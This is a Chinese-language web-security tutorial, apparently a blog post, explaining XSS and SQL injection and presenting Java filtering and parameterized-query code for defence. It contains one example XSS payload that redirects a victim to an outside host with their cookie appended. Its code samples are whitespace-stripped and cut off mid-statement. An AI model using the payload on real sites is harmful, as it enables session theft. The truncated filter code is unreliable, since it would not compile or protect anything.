一、跨站脚本攻击(XSS)
跨站脚本攻击的原理 XSS又叫CSS(CrossSiteScript),跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。 跨站脚本攻击的危害:窃取cookie、放蠕虫、网站钓鱼 ... 跨站脚本攻击的分类主要有:存储型XSS、反射型XSS、DOM型XSS XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。 XSS工作流程 1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a="+escape(documents如果这里没有经过转义处理,则页面中就嵌入了一段script2)恶意提交这个表单3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。 如下情况,请求跳转到百度,并将查询到的cookie值也显示出来了 结果将导致: 更详细的Xss原理等知识请参考园内大拿“小坦克”的这篇文章 Web安全测试之XSS那我们要如何防御Xss?
一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码 importjava.net.URLEncoder; /** *过滤非法字符工具类 * */ publicclassEncodeFilter{ //过滤大部分html字符 publicstaticStringencode(Stringinput){ if(input==null){ returninput; } StringBuildersb=newStringBuilder(input.length()); for(inti=0,c=input.length();i<c;i++){ charch=input.charAt(i); switch(ch){ case } } 乌云网有很多关于xss报错的bug记录,如http://www.wooyun.org/bugs/wooyun-2010-016779SQL注入漏洞
SQL注入攻击的原理: 使用用户输入的参数拼凑SQL查询语句,使用户可以控制SQL查询语句。详细关于sql注入的信息请参考:SQL注入攻防入门详解防御方法
使用预编译语句,绑定变量使用安全的存储过程检查数据类型使用安全函数 建议方法:不要使用拼接的sql,使用占位符,例如使用JdbcTemplate, 下面给出一种解决方法:用下面的各种函数代替拼接sql的出现 importjava.util.ArrayList; importjava.util.HashMap; importjava.util.List; importjava.util.Map; publicclassSqlBuilder{ protectedStringBuildersqlBuf=newStringBuilder(); protectedListvalues=newArrayList(); protectedMap上一篇:关于Web安全的那些事(XSS攻击)